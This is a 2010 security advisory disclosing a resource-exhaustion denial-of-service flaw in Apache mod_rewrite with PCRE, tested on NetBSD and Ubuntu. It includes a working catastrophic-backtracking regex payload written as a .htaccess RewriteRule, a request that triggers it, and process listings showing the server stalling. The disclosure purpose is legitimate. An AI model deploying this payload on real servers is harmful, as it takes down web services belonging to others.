-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ Apache Insecure mod_rewrite PCRE Resource Exhaustion ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - - Dis.: 19.09.2010 - - Pub.: 21.12.2010 Affected (tested): - - NetBSD 5.0.2 (Apache 2.2.17 PHP 5.3.4) - - Ubuntu 10.10 (Apache 2.2.16 PHP 5.3.3) Original URL: http://securityreason.com/achievement_securityalert/92 - --- 0.Description --- The Apache HTTP Server, commonly referred to as Apache, is web server software notable for playing a key role in the initial growth of the World Wide Web. In 2009 it became the first web server software to surpass the 100 million web site milestone The PCRE(Perl Compatible Regular Expressions) library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE has its own native API, as well as a set of wrapper functions that correspond to the POSIX regular expression API. The PCRE library is free, even for building proprietary software. - --- 1. Apache Insecure mod_rewrite PCRE Resource Exhaustion --- Using mod_rewrite and PCRE libs can be dangerous for stability apache server. Everybody know that using pcre regular expressions generate possible risk of DoS attack , and using multiple regular expressions in .htaccess is not good idea. I will show possibility DoS attack using .htaccess. Off course we can try configure our machine to be safe, anyway many servers are affected for this. Many versions of regular expressions, has no control over what executes. Example tags: let's see what will happen in firefox for this expression: .*.*.*(\w+)$1 Nothing special. Try this: .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*(\w+)$1 result in Firefox javascirpt: "Warning: Unresponsive script" Long execution in pcre generate "Unresponsive script". That same algorithm we can use in .htaccess $ httpd -v && php -v Server version: Apache/2.2.17 (Unix) Server built: Nov 11 2010 19:51:37 PHP 5.3.4 (cli) (built: Nov 11 2010 17:17:35) Copyright (c) 1997-2010 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies $ pwd && ls -la /home/cx/public_html total 4 drwxrwxrwx 2 cx cx 512 Dec 19 01:10 . drwxr-xr-x 12 cx wheel 1024 Dec 19 01:10 .. $ vi poc.php $ ls -la . total 8 drwxrwxrwx 2 cx cx 512 Dec 19 01:16 . drwxr-xr-x 12 cx wheel 1024 Dec 19 01:10 .. - -rw-r--r-- 1 cx cx 2665 Dec 19 01:18 poc.php and remote request to poc.php cx@cx64:~$ curl http://172.16.124.128/~cx/poc.php on the server, any apache childs will stop in .htaccess (mod_rewrite => PCRE) # ps -aux -U www USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 503 13.8 2.4 35620 27420 ? R 1:19AM 0:04.94 /usr/pkg/sbin/httpd -k start www 414 9.6 2.3 33572 25400 ? R 1:20AM 0:03.24 /usr/pkg/sbin/httpd -k start www 474 7.9 2.2 32548 24544 ? R 1:19AM 0:02.17 /usr/pkg/sbin/httpd -k start www 345 6.5 2.1 31524 23888 ? R 1:19AM 0:01.79 /usr/pkg/sbin/httpd -k start www 482 7.0 1.9 29476 21536 ? R 1:22AM 0:00.94 /usr/pkg/sbin/httpd -k start www 495 4.6 2.0 30500 22944 ? R 1:19AM 0:01.24 /usr/pkg/sbin/httpd -k start www 844 3.2 0.5 11980 5280 ? S 1:22AM 0:00.94 /usr/pkg/libexec/cgi-bin/php www 289 2.2 1.0 19236 10888 ? R 1:22AM 0:00.23 /usr/pkg/sbin/httpd -k start www 859 3.2 1.5 25380 17220 ? R 1:22AM 0:00.44 /usr/pkg/sbin/httpd -k start www 337 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 502 0.0 0.3 11988 3252 ? S 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 543 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 554 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 754 0.0 0.4 12068 3940 ? S 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 955 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start www 979 0.0 0.3 12068 3152 ? S 1:22AM 0:00.01 /usr/pkg/sbin/httpd -k start # ps -aux -U www USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 389 4.0 1.9 29476 21360 ? R 1:22AM 0:00.80 /usr/pkg/sbin/httpd -k start www 455 4.3 1.8 28452 20080 ? R 1:22AM 0:00.55 /usr/pkg/sbin/httpd -k start www 712 4.9 1.8 27428 19688 ? R 1:22AM 0:00.51 /usr/pkg/sbin/httpd -k start www 516 3.8 2.1 31524 23632 ? R 1:22AM 0:02.05 /usr/pkg/sbin/httpd -k start ... www 1011 2.3 2.0 30500 21980 ? R 1:22AM 0:01.16 /usr/pkg/sbin/httpd -k start www 398 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 400 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 502 0.0 0.3 11988 3252 ? I 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 653 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 754 0.0 0.4 12068 3940 ? I 1:19AM 0:00.01 /usr/pkg/sbin/httpd -k start www 844 0.0 0.5 11980 5280 ? S 1:22AM 0:00.95 /usr/pkg/libexec/cgi-bin/php www 908 0.0 0.3 12068 3156 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start www 1043 0.0 0.3 12068 3160 ? S 1:23AM 0:00.01 /usr/pkg/sbin/httpd -k start If we set Timeout 3 MaxKeepAliveRequests 5 KeepAliveTimeout 5 MaxClients 7 # ps -aux -Uwww USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 322 15.7 3.1 42788 34296 ? R 2:10AM 5:43.96 /usr/pkg/sbin/httpd -k start www 565 15.8 3.1 42788 34296 ? R 2:10AM 5:43.24 /usr/pkg/sbin/httpd -k start www 504 14.6 3.1 42788 34296 ? R 2:10AM 5:51.36 /usr/pkg/sbin/httpd -k start www 598 14.7 3.1 42788 34296 ? R 2:10AM 5:38.71 /usr/pkg/sbin/httpd -k start www 690 14.6 3.1 42788 34296 ? R 2:10AM 5:43.85 /usr/pkg/sbin/httpd -k start www 694 15.1 3.1 42788 34296 ? R 2:10AM 5:43.57 /usr/pkg/sbin/httpd -k start www 603 0.0 0.3 11988 3228 ? I 2:10AM 0:00.01 /usr/pkg/sbin/httpd -k start www 623 0.0 0.5 11980 5304 ? S 2:10AM 0:00.29 /usr/pkg/libexec/cgi-bin/php www 631 0.0 0.3 12068 3880 ? I 2:10AM 0:00.01 /usr/pkg/sbin/httpd -k start # telnet 172.16.124.128 80 Trying 172.16.124.128... telnet: Unable to connect to remote host: Connection timed out Extending this error, we may block the work of apache daemon with mod_rewrite. - -.htaccess--- RewriteEngine On RewriteRule ((?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*|.*|.*|.*|.*)(\w+)(?:.*|.*|.*|.*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